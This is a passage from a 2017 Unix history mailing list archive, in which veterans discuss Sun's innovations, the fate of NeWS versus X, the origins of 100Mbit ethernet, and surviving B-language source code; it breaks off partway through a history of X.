machine, 16K of which was OS and 8K user. And it had a modern
file system. Programming was so much easier that it lured
people (e.g. me) away from big mainframe computers.

Doug


From ron at ronnatalie.com  Wed Sep 13 00:12:04 2017
From: ron at ronnatalie.com (Ronald Natalie)
Date: Tue, 12 Sep 2017 10:12:04 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <201709120738.v8C7ckOF007026@freefriends.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
Message-ID: <9186A0D3-289B-47E3-93BF-55B4790B498B@ronnatalie.com>


> 
> They weren't afraid to swim upstream, either. Even though NeWS never took
> off (even when combined with an X server), it was an interesting design,
> ahead of its time even.
> 
> 
NeWS had serious issues.   However, the same guy who was the NeWS proponent learned from mistakes and the result
was the must more successful Sun tehnology:   JAVA.



From toby at telegraphics.com.au  Wed Sep 13 00:51:12 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Tue, 12 Sep 2017 10:51:12 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <9186A0D3-289B-47E3-93BF-55B4790B498B@ronnatalie.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <9186A0D3-289B-47E3-93BF-55B4790B498B@ronnatalie.com>
Message-ID: <2fa44a96-a9a5-ed77-3585-cf4763616023@telegraphics.com.au>

On 2017-09-12 10:12 AM, Ronald Natalie wrote:
> 
>>
>> They weren't afraid to swim upstream, either. Even though NeWS never took
>> off (even when combined with an X server), it was an interesting design,
>> ahead of its time even.
>>
>>
> NeWS had serious issues.   However, the same guy who was the NeWS proponent learned from mistakes and the result
> was the must more successful Sun tehnology:   JAVA.
> 
> 

It would probably befit this list and posterity to go into detail about
what those issues were.

At the time, NeWS certainly seemed to have interesting ideas far ahead
of the popular window systems (and yes we could discuss those ideas as
well. Unfortunately my NeWS developer binder is in storage and my memory
isn't reliable at that range).

--T


From jon at fourwinds.com  Wed Sep 13 01:35:24 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 08:35:24 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <201709120738.v8C7ckOF007026@freefriends.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
Message-ID: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>

arnold at skeeve.com writes:
> 
> In particular, the creation of NFS and then the efforts to make it into
> a de-facto standard (giving away the RPC and XDR code) was a HUGE thing.
> 
> They weren't afraid to swim upstream, either. Even though NeWS never took
> off (even when combined with an X server), it was an interesting design,
> ahead of its time even.

It's interesting that you mention the two of these together.  It's my
opinion that the main reason that NeWS failed was because of the success
of NFS.

I recall that Apollo was really pissed off by NFS because they felt that
their token-ring network was better but lost because NFS was given away.
In hindsight, they were wrong; while the token-ring performed better in
large networks, the advent of switches made that moot.  In any case, when
NeWS was released nobody except Sun knew how to do the graphics (even
Adobe didn't know how to do it fast for display) and Apollo et. al. was
worried that Sun would give NeWS away and make it yet another de facto
standard a la NFS.  This led to the formation of the Hamilton Group which
was a thinly-disguised industry consortium that existed only for the
purpose of making sure that NeWS didn't succeed.

> DEC, IBM, and HP, all seemed to be playing follow the leader to Sun for
> many years.

I mentioned this to a lot of people after Sun died.  Few seem to realize
how much of what became PC manufacturing technology resulted from innovations
at Sun.

ron at ronnatalie.com writes:
>
> NeWS had serious issues.   However, the same guy who was the NeWS proponent
> learned from mistakes and the result was the must more successful Sun
> tehnology:   JAVA.

I'm going to take issue with the above.  NeWS had way fewer serious issues
than X.  It's main reason for failure was the coordinated effort to kill it
from others in the industry.  As the guy who single-handedly prevented X
from becoming an ANSI standard, I'd be happy to start another thread on
this topic if people are interested.  Part of the result of the Hamilton
Group effort was the misguided attempt to merge X and NeWS which was a
botched disaster.

Java is not the result of learning from mistakes in NeWS.  I have joked with
James that I feel that his legacy is being the person who first realizes that
technology is changing to the point where something can be done using an
interpreter.  If you look at his project history, he's done this many times.
I think that it's more accurate to say that Java is the result of a lifetime
of learning from interpreter projects.  I fully expect some new interpreter
to take over AWS sometime soon :-)

Jon


From arnold at skeeve.com  Wed Sep 13 01:33:33 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Tue, 12 Sep 2017 09:33:33 -0600
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <9186A0D3-289B-47E3-93BF-55B4790B498B@ronnatalie.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <9186A0D3-289B-47E3-93BF-55B4790B498B@ronnatalie.com>
Message-ID: <201709121533.v8CFXXXb016593@freefriends.org>

Ronald Natalie <ron at ronnatalie.com> wrote:

>
> > 
> > They weren't afraid to swim upstream, either. Even though NeWS never took
> > off (even when combined with an X server), it was an interesting design,
> > ahead of its time even.
> > 
> > 
> NeWS had serious issues.   However, the same guy who was the NeWS proponent learned from mistakes and the result
> was the must more successful Sun tehnology:   JAVA.
>

But you have strengthened my main point, which is that Sun *innovated*.
NFS, NeWS, Java - 2 out of 3 is pretty good. :-)

Thanks,

Arnold


From lm at mcvoy.com  Wed Sep 13 02:57:45 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 12 Sep 2017 09:57:45 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
Message-ID: <20170912165745.GV7819@mcvoy.com>

On Tue, Sep 12, 2017 at 08:35:24AM -0700, Jon Steinhart wrote:
> arnold at skeeve.com writes:
> > 
> > In particular, the creation of NFS and then the efforts to make it into
> > a de-facto standard (giving away the RPC and XDR code) was a HUGE thing.
> > 
> > They weren't afraid to swim upstream, either. Even though NeWS never took
> > off (even when combined with an X server), it was an interesting design,
> > ahead of its time even.
> 
> It's interesting that you mention the two of these together.  It's my
> opinion that the main reason that NeWS failed was because of the success
> of NFS.
> 
> I recall that Apollo was really pissed off by NFS because they felt that
> their token-ring network was better but lost because NFS was given away.
> In hindsight, they were wrong; while the token-ring performed better in
> large networks, the advent of switches made that moot.  In any case, when
> NeWS was released nobody except Sun knew how to do the graphics (even
> Adobe didn't know how to do it fast for display) and Apollo et. al. was
> worried that Sun would give NeWS away and make it yet another de facto
> standard a la NFS.  This led to the formation of the Hamilton Group which
> was a thinly-disguised industry consortium that existed only for the
> purpose of making sure that NeWS didn't succeed.

It was more than NeWS, it was anything Sun.  Here's how 100Mbit ethernet
happened because of Sun (well, really me and Andy) in spite of the "anything
but Sun sentiment":

Some background to go with what Jon said.  I was at Sun during this
time, Sun was on a roll, they kept innovating and other people were
playing catchup, mmap, vm layer that worked, VFS interface that worked,
NFS, etc.  Sun really was innovating back then and it left other people
behind and pissed.  They were especially pissed when Sun stuff became
a standard and they had to match it.  So they formed a loose cabal that
had the sentiment of "No more Sun wins".

At the time I was arguing for 100Mbit ethernet with little success.  The
hardware guys hadn't twigged to the idea that one base packet format
over a bunch of different speed cables is better than multiple packet
types that you have to rewrite.  When I asked for 100mbit over copper
they said it couldn't be done.

I was a systems guy at the time, building a clustered NFS server code
named sunbox.  Venders were constantly coming to me to pitch their stuff
to be included in my system (we did use Kalpana switches so one of the
pitches worked).  One day some dude from Crescendo shows up with a pitch
for something they called CDDI.  It was FDDI over copper at 100mbit.
I said wait here, went down the hall to Andy Bechtolsheim's office (I
had the good fortune to have an office next door to him, a little brag,
but I was living the dream!) got Andy and dragged him back to the meeting.
Asked the dude to do it again.  We thanked him and went back to our offices
and I ask Andy "You thinking what I'm thinking" because he knew about my
100Mbit ethernet dreams.  "Yeah, but there is the cabal problem".  We
knew about the anti Sun sentiment, wasn't much we could do about it, it
was just a problem we had to route around.

So what we did is a little road show in the valley.  The Crescendo guys
hadn't made us sign an NDA, their stuff was for sale already.  So we 
went to every hardware company in the valley that made network cards
and said "Did you know these guys are signalling at 100Mbit over copper?
Wouldn't it be cool if you made an ethernet card that did that?".

That was all it took, someone had a card about 6 months later and the
rest is history.  I'm sure it would have happened by itself at some
point, but Sun made that stuff happen as well.

They really were on a roll back then and in the hardware side it was
all Andy.  He was in his sweet spot which is anything that he can keep
the whole picture, all the details, in his head.  He's fantastic at that.
There is a story, no idea if it is true but it sounds like Andy, that
someone interrupted a meeting to tell him that the serial chip was going
to be like a buck or so cheaper.  There is this brief pause and then Andy
says "Cool, we'll use it for more pigment in the feet, I was wondering
where that would come from."

Fun times for sure!  I'm super super lucky to have been there and been
a part of it.  It wasn't Bell Labs when Dennis and Ken and team were 
making Unix, I would have loved to have been there but wrong age.
Sun was the Bell Labs of their time.  I fought hard to get in there 
and once I was in it was awesome.  Yeah, there were politics and all
the usual stuff, but I knew I was at the place that was leading and
I got to be part of it.  Living the dream for sure.

--lm


From krewat at kilonet.net  Wed Sep 13 03:04:30 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Tue, 12 Sep 2017 13:04:30 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
Message-ID: <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>

Oh, do, please go on ;)



On 9/12/2017 11:35 AM, Jon Steinhart wrote:
> As the guy who single-handedly prevented X
> from becoming an ANSI standard, I'd be happy to start another thread on
> this topic if people are interested.



From lm at mcvoy.com  Wed Sep 13 03:07:34 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 12 Sep 2017 10:07:34 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
Message-ID: <20170912170734.GX7819@mcvoy.com>

I'd like to hear that too.  I like X11, use it all the time, take advantage
of the remote display all the time, have done some sunview programming and
a little of just the base libraries.  I can imagine that standardizing all
that stuff would be more than a mouthful.  But what else ya got?

On Tue, Sep 12, 2017 at 01:04:30PM -0400, Arthur Krewat wrote:
> Oh, do, please go on ;)
> 
> 
> 
> On 9/12/2017 11:35 AM, Jon Steinhart wrote:
> >As the guy who single-handedly prevented X
> >from becoming an ANSI standard, I'd be happy to start another thread on
> >this topic if people are interested.

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From rmswierczek at gmail.com  Wed Sep 13 04:03:41 2017
From: rmswierczek at gmail.com (Robert Swierczek)
Date: Tue, 12 Sep 2017 14:03:41 -0400
Subject: [TUHS] B Source Code
Message-ID: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>

Does anyone know of the existence of source code written in B (C's predecessor?)

I have encountered a few snippets here and there, but nothing
substantial.  The only "real" program that I know of is AberMUD-1.  It
looks like there exists a physical print-out of it:

https://dropsafe.crypticide.com/article/12714

Could it be that this is the only artifact left of this most important
"missing link" of C and Unix History?  How can this (and any other B
source) be gathered and preserved?


From clemc at ccc.com  Wed Sep 13 04:14:36 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 12 Sep 2017 14:14:36 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
References: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
Message-ID: <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>

Poke around the Honeywell archives.  I believe that there was at least one
implementation of QED and a runoff flavor that I saw.   As I believe Steve
Johnson has mentioned,iIt was popular at Waterloo at one point - so check
with the Waterloo folks. In fact, I had thought that Mike Malcom used it
for Thoth, QNX's predecessor.

On Tue, Sep 12, 2017 at 2:03 PM, Robert Swierczek <rmswierczek at gmail.com>
wrote:

> Does anyone know of the existence of source code written in B (C's
> predecessor?)
>
> I have encountered a few snippets here and there, but nothing
> substantial.  The only "real" program that I know of is AberMUD-1.  It
> looks like there exists a physical print-out of it:
>
> https://dropsafe.crypticide.com/article/12714
>
> Could it be that this is the only artifact left of this most important
> "missing link" of C and Unix History?  How can this (and any other B
> source) be gathered and preserved?
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/fe39b005/attachment.html>

From clemc at ccc.com  Wed Sep 13 05:24:05 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 12 Sep 2017 15:24:05 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
References: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
 <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
Message-ID: <CAC20D2NhqnCoGkfQGRpYJBfNDQ-T+7aXMdz02bo3VopZ5Xs-vQ@mail.gmail.com>

BTW:  Check out:   ybc: a compiler for B <https://github.com/Leushenko/ybc>

On Tue, Sep 12, 2017 at 2:14 PM, Clem Cole <clemc at ccc.com> wrote:

> Poke around the Honeywell archives.  I believe that there was at least one
> implementation of QED and a runoff flavor that I saw.   As I believe Steve
> Johnson has mentioned,iIt was popular at Waterloo at one point - so check
> with the Waterloo folks. In fact, I had thought that Mike Malcom used it
> for Thoth, QNX's predecessor.
>
> On Tue, Sep 12, 2017 at 2:03 PM, Robert Swierczek <rmswierczek at gmail.com>
> wrote:
>
>> Does anyone know of the existence of source code written in B (C's
>> predecessor?)
>>
>> I have encountered a few snippets here and there, but nothing
>> substantial.  The only "real" program that I know of is AberMUD-1.  It
>> looks like there exists a physical print-out of it:
>>
>> https://dropsafe.crypticide.com/article/12714
>>
>> Could it be that this is the only artifact left of this most important
>> "missing link" of C and Unix History?  How can this (and any other B
>> source) be gathered and preserved?
>>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/d90142ea/attachment.html>

From charles.unix.pro at gmail.com  Wed Sep 13 05:36:01 2017
From: charles.unix.pro at gmail.com (Charles Anthony)
Date: Tue, 12 Sep 2017 12:36:01 -0700
Subject: [TUHS] B Source Code
In-Reply-To: <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
References: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
 <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
Message-ID: <CANV78LQ02L+Q4TryjEnobeOsj5AtmY+vfKUo8LoVxKQSVKxxQg@mail.gmail.com>

On Tue, Sep 12, 2017 at 11:14 AM, Clem Cole <clemc at ccc.com> wrote:

> Poke around the Honeywell archives.
>

The Multics archive has  BCPL, including a BCPL compiler, but I don't
recall seeing any B code.

The only QED that I see is 'qedx', written in PL/I.


-- Charles
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/09138171/attachment.html>

From scj at yaccman.com  Wed Sep 13 05:43:54 2017
From: scj at yaccman.com (Steve Johnson)
Date: Tue, 12 Sep 2017 12:43:54 -0700
Subject: [TUHS] B Source Code
In-Reply-To: <CAC20D2NhqnCoGkfQGRpYJBfNDQ-T+7aXMdz02bo3VopZ5Xs-vQ@mail.gmail.com>
Message-ID: <50f9f8afd6e85062e6a9ccad9774b2221e5bdafe@webmail.yaccman.com>

As far as artifacts go, I was on a 9 mo. sabbatical at Waterloo when
the big change took place (and having a daughter, to boot).  Coming
back to the labs was a bigger culture shock than going to Canada! 
Most of the B programs I had worked on, including Yacc, had become C
programs in my absence.

I suspect that was the fate of many of the B sources -- a couple of
hours editing, and they became C programs.   Remember that early C
did not have strong typing.  The few B programs I converted, I
remember the biggest difficulty was with character handling -- * was
used in B formats rather than % in C formats.

A harder artifact might be finding early C programs.  Dennis was
brilliant in the way he morphed everyone along with minimal pain, and
I tried to do the same with PCC.   To introduce a new incompatible
feature, first of all build a compiler where both the old and new
features both work.  Tell people that the old stuff still works, but
sell the new stuff.  After a few weeks, add an informational message
along the lines of "Deprecated usage, use ....".   Stay in this
stage for several months, perhaps increasing the emphasis of the
message gradually.  Then tell people that the old stuff will stop
working in 2 weeks.  And in 2 weeks, make the informational message a
fatal error (but don't remove the old code yet...).   Then, a while
later, leave the message but remove the old code.

It amazed me how quickly and (relatively) painless this process
was...  It did mean more work for the compiler writer, though.  The
transition from using hex constants as addresses in the kernel to
using strongly typed structure pointers was especially hairy.

Steve

----- Original Message -----
From:
 "Clem Cole" <clemc at ccc.com>

To:
"Robert Swierczek" <rmswierczek at gmail.com>
Cc:
"TUHS main list" <tuhs at minnie.tuhs.org>
Sent:
Tue, 12 Sep 2017 15:24:05 -0400
Subject:
Re: [TUHS] B Source Code

BTW:  Check out:   ybc: a compiler for B [1]

On Tue, Sep 12, 2017 at 2:14 PM, Clem Cole <clemc at ccc.com [2]>
 wrote:
Poke around the Honeywell archives.  I believe that there was at
least one implementation of QED and a runoff flavor that I saw.   As
I believe Steve Johnson has mentioned,iIt was popular at Waterloo at
one point - so check with the Waterloo folks. In fact, I had thought
that Mike Malcom used it for Thoth, QNX's predecessor. 

On Tue, Sep 12, 2017 at 2:03 PM, Robert Swierczek
<rmswierczek at gmail.com [3]>
 wrote:
Does anyone know of the existence of source code written in B (C's
predecessor?)

 I have encountered a few snippets here and there, but nothing
 substantial.  The only "real" program that I know of is AberMUD-1. 
It
 looks like there exists a physical print-out of it:

https://dropsafe.crypticide.com/article/12714 [4]

 Could it be that this is the only artifact left of this most
important
 "missing link" of C and Unix History?  How can this (and any other B
 source) be gathered and preserved?

 

Links:
------
[1] https://github.com/Leushenko/ybc
[2] mailto:clemc at ccc.com
[3] mailto:rmswierczek at gmail.com
[4] https://dropsafe.crypticide.com/article/12714

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/9c6235c3/attachment.html>

From scj at yaccman.com  Wed Sep 13 06:15:43 2017
From: scj at yaccman.com (Steve Johnson)
Date: Tue, 12 Sep 2017 13:15:43 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
Message-ID: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>

Funny.  From the outside I had a rather different view of why Sun was
successful.

In 1986 I came to CA to work for what became Ardent/Stardent.  We
made the decision to go with Sun disc-less workstations.  They got us
more computing power, on paper, for less $$.

Roughly a quarter of the machines shipped to us were DOA.  When we
got them running, the OS had a memory leak and needed to be rebooted
several times a day.  The NFS server had the delightful property of
sometimes inserting 1024 zeros into a file it was writing or
serving.    (It was so bad that we hacked the OS to check every
executable for 0-blocks in the instruction space and refuse to run
it.  This was especially true for the MIPS cross compiler -- 0 was a
NOP on the MIPS, and encountering a block of zeros caused execution to
slide down a slippery slope of NOPs into the middle of some other
routine with a different stack layout, where it proceeded to do the
most mysterious things...)

We would go out to lunch every day and trash talk Sun up one side and
down the other.  And then we would go back to work and order more
Suns.  Because THEY UNDERSTOOD WHAT WE NEEDED, and were TRYING TO
GIVE IT TO US.  The other manufacturers were selling application
delivery vehicles rather than attempting to support software
development.  Eventually we ironed out many of the issues (often by
changing or hacking the code).  The only fly in the ointment was the
service department.  Dealing with Sun customer service was like
spitting into the wind.  We would report the same bug every week and
they swore the bug had not been reported before.  The memory leak
problem became so serious that we told them that we would only renew
the service agreement if they would put a date when that would be
fixed.  They refused to do so, and we canceled the service contract,
bought a couple of extra Suns for spares, and heaved a sigh of relief.

Steve

----- Original Message -----
From: "Jon Steinhart" <jon at fourwinds.com>
To:<tuhs at tuhs.org>
Cc:
Sent:Tue, 12 Sep 2017 08:35:24 -0700
Subject:Re: [TUHS] Happy birthday, Dennis Ritchie! [ really sun vs
dec/apollo --> X and NeWS ]

 arnold at skeeve.com writes:
 > 
 > In particular, the creation of NFS and then the efforts to make it
into
 > a de-facto standard (giving away the RPC and XDR code) was a HUGE
thing.
 > 
 > They weren't afraid to swim upstream, either. Even though NeWS
never took
 > off (even when combined with an X server), it was an interesting
design,
 > ahead of its time even.

 It's interesting that you mention the two of these together. It's my
 opinion that the main reason that NeWS failed was because of the
success
 of NFS.

 I recall that Apollo was really pissed off by NFS because they felt
that
 their token-ring network was better but lost because NFS was given
away.
 In hindsight, they were wrong; while the token-ring performed better
in
 large networks, the advent of switches made that moot. In any case,
when
 NeWS was released nobody except Sun knew how to do the graphics (even
 Adobe didn't know how to do it fast for display) and Apollo et. al.
was
 worried that Sun would give NeWS away and make it yet another de
facto
 standard a la NFS. This led to the formation of the Hamilton Group
which
 was a thinly-disguised industry consortium that existed only for the
 purpose of making sure that NeWS didn't succeed.

 > DEC, IBM, and HP, all seemed to be playing follow the leader to Sun
for
 > many years.

 I mentioned this to a lot of people after Sun died. Few seem to
realize
 how much of what became PC manufacturing technology resulted from
innovations
 at Sun.

 ron at ronnatalie.com writes:
 >
 > NeWS had serious issues. However, the same guy who was the NeWS
proponent
 > learned from mistakes and the result was the must more successful
Sun
 > tehnology: JAVA.

 I'm going to take issue with the above. NeWS had way fewer serious
issues
 than X. It's main reason for failure was the coordinated effort to
kill it
 from others in the industry. As the guy who single-handedly prevented
X
 from becoming an ANSI standard, I'd be happy to start another thread
on
 this topic if people are interested. Part of the result of the
Hamilton
 Group effort was the misguided attempt to merge X and NeWS which was
a
 botched disaster.

 Java is not the result of learning from mistakes in NeWS. I have
joked with
 James that I feel that his legacy is being the person who first
realizes that
 technology is changing to the point where something can be done using
an
 interpreter. If you look at his project history, he's done this many
times.
 I think that it's more accurate to say that Java is the result of a
lifetime
 of learning from interpreter projects. I fully expect some new
interpreter
 to take over AWS sometime soon :-)

 Jon

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/5d44e60c/attachment.html>

From rmswierczek at gmail.com  Wed Sep 13 06:39:44 2017
From: rmswierczek at gmail.com (Robert Swierczek)
Date: Tue, 12 Sep 2017 16:39:44 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
References: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
 <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
Message-ID: <CAAFR5paPJQxVvGnwO0i_qAVeWeXxsBq7Jm2XHqwKBRG0U=tzDg@mail.gmail.com>

> I had thought that Mike Malcom used it for Thoth, QNX's predecessor.

Thoth sounds downright fascinating and does indeed look to be written
in B (or a dialect).  Google pointed me to a few research papers
describing the system.  I wonder if the University of Waterloo or
David Cheriton has a snapshot of it from that research?


From jon at fourwinds.com  Wed Sep 13 08:11:03 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 15:11:03 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
Message-ID: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>

> Jon Steinhart wrote:
> As the guy who single-handedly prevented X from becoming an ANSI standard,
> I'd be happy to start another thread on this topic if people are interested.

Arthur Krewat writes:
> Oh, do, please go on ;)

Larry McVoy writes:
> I'd like to hear that too.  I like X11, use it all the time, take advantage
> of the remote display all the time, have done some sunview programming and
> a little of just the base libraries.  I can imagine that standardizing all
> that stuff would be more than a mouthful.  But what else ya got?

OK, you asked for it.  I think that I need to ask the Thing King to zark in a
few crates of old memories...

I spent mt teenage years as a graphics person as a result of my summer job at
Murray Hill working on the Glance-G terminal project.  Side-tracked into test
and measurement after getting my EE degree and doing cool black magic
electronics at Tektronix.  Got back into graphics and software when Tek tried
to get into the UNIX workstation business.  Started working on window systems
at that time, and continued after I quit Tek and moved to the bay area to
play at the startup game.  Started consulting after the third startup failed
which I'm still doing today.

While at Tek one of my jobs was to come up with a C language binding for GKS,
the Graphical Kernel System standard.  That itself is a funny story which ties
into the earlier troff thread.  I designed a language binding and wrote it up.
My friend Ed, author of "Real Programmers Don't Use Pascal", worked down the
road at GSS (Graphics Software Systems).  He told me that "yours looks better
than ours, you should bring it to the standards committee".  Amazingly enough
my management bought off on it, I brought my draft to the Huntsville meeting,
and it was adopted as the draft standard.  Why?  Because we had troff and an
Imprint-10!  Those were the days when people equated typeset with professional.
I recall discussing the issues with the C binding at an ANSI C committee
meeting in San Franscisco; probably met some you there.

ANSI X3X3 formed a window management subcommittee X3H3.6 somewhere along the
line.  I moved over there as I was pretty much done with the GKS stuff and the
window management end of things was more interesting.  Life changed in that
committee when the X push happened.  But first, a bit on a parallel track.

I knew Keith Lantz at Stanford who, if I remember correctly, had a graduate
seminar and wanted to talk about window management systems.  I came in as a
guest lecturer.  Partly because of this I became aware of the origins of X as
those weren't the days when one could easily just get technical papers on line.

For those of you unfamiliar with this, Stanford had developed the V operating
system which featured very fast synchronous IPC.  I believe that this ran on
the original Stanford University Network (SUN) boards.  They also developed
the W window system which ran on top of V.

I'm a bit fuzzy on the continental shift, but I believe that W made the cross
country trip to MIT via some sort of DEC connection.  Maybe they had funded
some of the Stanford research.

Gosling and Rosenthal had been working on the Andrew window system at CMU.  I
don't remember whether or not this was UNIX-based, but one of their early
design decisions was to minimize round-trips because they didn't have fast
synchronous IPC.

Despite this prior art, Scheifler took the W code, ported it to UNIX, and
called it X.  As one would expect, the performance was terrible.  X got
